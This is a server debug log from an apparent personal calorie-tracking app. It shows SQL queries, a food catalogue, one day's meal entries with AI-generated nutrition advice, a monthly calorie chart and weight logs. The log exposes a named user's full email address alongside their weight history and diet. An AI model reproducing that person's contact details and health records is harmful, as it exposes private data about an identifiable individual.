    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T17:19:49.234Z server-connect:app Executing action step identify
2025-12-17T17:19:49.234Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:49.235Z server-connect:output identity: 1
2025-12-17T17:19:49.235Z server-connect:app Executing action step restrict
2025-12-17T17:19:49.235Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T17:19:49.236Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake provided a decent foundation with the inclusion of protein from whey and dairy, along with carbohydrates for energy. The meal structure appears reasonably spread out, supporting recovery from your early morning workouts. However, there's an opportunity to enhance protein diversity and ensure adequate fiber intake throughout the day.",
    bad_points: [
      'Limited variety in protein sources.',
      'Potential for higher carbohydrate content in the main meal.',
      'Fiber intake could be increased.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout.',
      'Incorporation of fruits like banana and papaya.',
      'Adequate hydration throughout the day.',
      'Reasonable meal distribution.'
    ],
    suggestions: [
      'Incorporate a lean protein source with your main meal, such as chicken or lentils.',
      'Add more vegetables to your sabzi or include a side salad for increased fiber.',
      'Consider adding a source of healthy fats beyond walnuts, like avocado or seeds, to other meals.',
      'Ensure consistent protein intake across all meals.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T17:19:49.237Z server-connect:output restrict: undefined
2025-12-17T17:19:49.237Z server-connect:app Executing action step single
2025-12-17T17:19:49.237Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T17:19:49.239Z server-connect:output restrict: undefined
2025-12-17T17:19:49.239Z server-connect:app Executing action step single
2025-12-17T17:19:49.239Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T17:19:49.241Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T17:19:49.242Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T17:19:49.242Z server-connect:app Executing action step select
2025-12-17T17:19:49.242Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T17:19:49.244Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 423,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 424,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Cabbage and peas sabzi (without potato),Steamed cabbage and carrot salad',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes add extra carbs and calories. While not bad, for muscle development, focusing on higher protein and lower carb vegetables might be more beneficial.'
  },
  {
    id: 425,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)',
    replacements: 'Plain curd/yogurt,Cucumber raita,Mint raita',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Boondi is typically deep-fried, adding extra fat and calories. While a good source of probiotics from curd, the boondi can be skipped for a leaner option.'
  },
  {
    id: 426,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres',
    replacements: '',
    created_at: '2025-12-17T02:46:18.000Z',
    skip_level: 1,
    skip_reason: "Water is essential for hydration and has no calories. It's crucial for muscle development and overall health."
  },
  {
    id: 427,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 100,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 1,
    quantity: '4 slices',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-17T04:40:11.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 428,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Herbal tea (0 calories),Tea with skim milk (lower fat, slightly lower calories)',
    created_at: '2025-12-17T05:11:01.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, the protein content is beneficial.'
  },
  {
    id: 429,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea,Green tea,Herbal tea,Tea with skim milk',
    created_at: '2025-12-17T07:36:51.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, but can be higher in calories if using full-fat milk. For muscle development, the protein from milk is beneficial.'
  },
  {
    id: 430,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Fish Curry',
    calories: 750,
    protein_gm: 75,
    carbs_gm: 15,
    fat_gm: 40,
    quantity: '5 pieces',
    replacements: 'Grilled fish (without curry sauce),Baked fish,Fish stew with more vegetables and less oil',
    created_at: '2025-12-17T11:49:48.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of protein and healthy fats (omega-3s). Good for muscle development.'
  },
  {
    id: 431,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Egg Whites',
    calories: 34,
    protein_gm: 7,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '2',
    replacements: 'More egg whites (for increased protein with minimal calories)',
    created_at: '2025-12-17T11:49:48.000Z',
    skip_level: 1,
    skip_reason: 'Pure protein source with very few calories and no fat. Ideal for muscle development and low-calorie intake.'
  },
  {
    id: 432,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 60,
    protein_gm: 1,
    carbs_gm: 15,
    fat_gm: 0,
    quantity: '1 slice',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-17T11:49:48.000Z',
    skip_level: 1,
    skip_reason: 'Good source of vitamins, minerals, and fiber. Supports overall health and digestion. Low in calories.'
  }
]
2025-12-17T17:19:49.244Z server-connect:app Executing action step setvalue
2025-12-17T17:19:49.244Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T17:19:49.244Z server-connect:output var_total: 2088
2025-12-17T17:19:49.244Z server-connect:app Executing action step setvalue
2025-12-17T17:19:49.244Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T17:19:49.244Z server-connect:output var_consumed: 87
2025-12-17T17:19:49.244Z server-connect:app Executing action step setvalue
2025-12-17T17:19:49.244Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T17:19:49.244Z server-connect:output var_deficit: 312
2025-12-17T17:19:49.244Z server-connect:app Executing action step custom
2025-12-17T17:19:49.244Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T17:19:49.246Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  }
]
2025-12-17T17:19:51.255Z server-connect:app Executing action step identify
2025-12-17T17:19:51.255Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:51.255Z server-connect:output identity: 1
2025-12-17T17:19:58.423Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-17T17:19:58.423Z server-connect:app Executing action step identify
2025-12-17T17:19:58.423Z server-connect:app options: { provider: 'security' }
2025-12-17T17:19:58.423Z server-connect:output identity: 1
2025-12-17T17:19:58.423Z server-connect:app Executing action step restrict
2025-12-17T17:19:58.423Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T17:19:58.424Z server-connect:output restrict: undefined
2025-12-17T17:19:58.424Z server-connect:app Executing action step select
2025-12-17T17:19:58.424Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-17T17:19:58.425Z server-connect:output items_consumed_today: [
  {
    id: 417,
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)'
  },
  {
    id: 418,
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)'
  },
  {
    id: 419,
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)'
  },
  {
    id: 420,
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)'
  },
  {
    id: 421,
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)'
  },
  {
    id: 422,
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)'
  },
  {
    id: 423,
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3'
  },
  {
    id: 424,
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)'
  },
  {
    id: 425,
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)'
  },
  {
    id: 426,
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres'
  },
  {
    id: 427,
    item_name: 'Papaya',
    calories: 100,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 1,
    quantity: '4 slices'
  },
  {
    id: 428,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 429,
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 430,
    item_name: 'Fish Curry',
    calories: 750,
    protein_gm: 75,
    carbs_gm: 15,
    fat_gm: 40,
    quantity: '5 pieces'
  },
  {
    id: 431,
    item_name: 'Egg Whites',
    calories: 34,
    protein_gm: 7,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '2'
  },
  {
    id: 432,
    item_name: 'Papaya',
    calories: 60,
    protein_gm: 1,
    carbs_gm: 15,
    fat_gm: 0,
    quantity: '1 slice'
  }
]
2025-12-17T17:19:58.425Z server-connect:app Executing action step paged
2025-12-17T17:19:58.425Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-17T17:19:58.428Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 13,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-17T17:19:58.428Z server-connect:app Executing action step run
2025-12-17T17:19:58.428Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-17T17:19:58.429Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 417 | Walnuts | 98 | 2 | 2 | 10 | 2 full walnuts (approx 15g edible portion) |\n' +
  '| 418 | Pre-workout supplement | 5 | 1 | 1 | 0 | 1 scoop (6.5g) |\n' +
  '| 419 | Whey Protein | 99 | 20 | 2 | 1 | 1 scoop (26g) |\n' +
  '| 420 | Banana | 89 | 1 | 23 | 0 | 1 (approx 100g edible portion, medium size) |\n' +
  '| 421 | Appe (Paniyaram) homemade | 100 | 4 | 20 | 2 | 2 pieces (approx 70-80g) |\n' +
  '| 422 | Milk Coffee | 75 | 5 | 7 | 4 | 1 small cup (approx 150ml) |\n' +
  '| 423 | Roti | 300 | 9 | 63 | 3 | 3 |\n' +
  '| 424 | Aloo Patta Gobi Sabzi | 150 | 4 | 18 | 8 | 1 serving (approx 150g) |\n' +
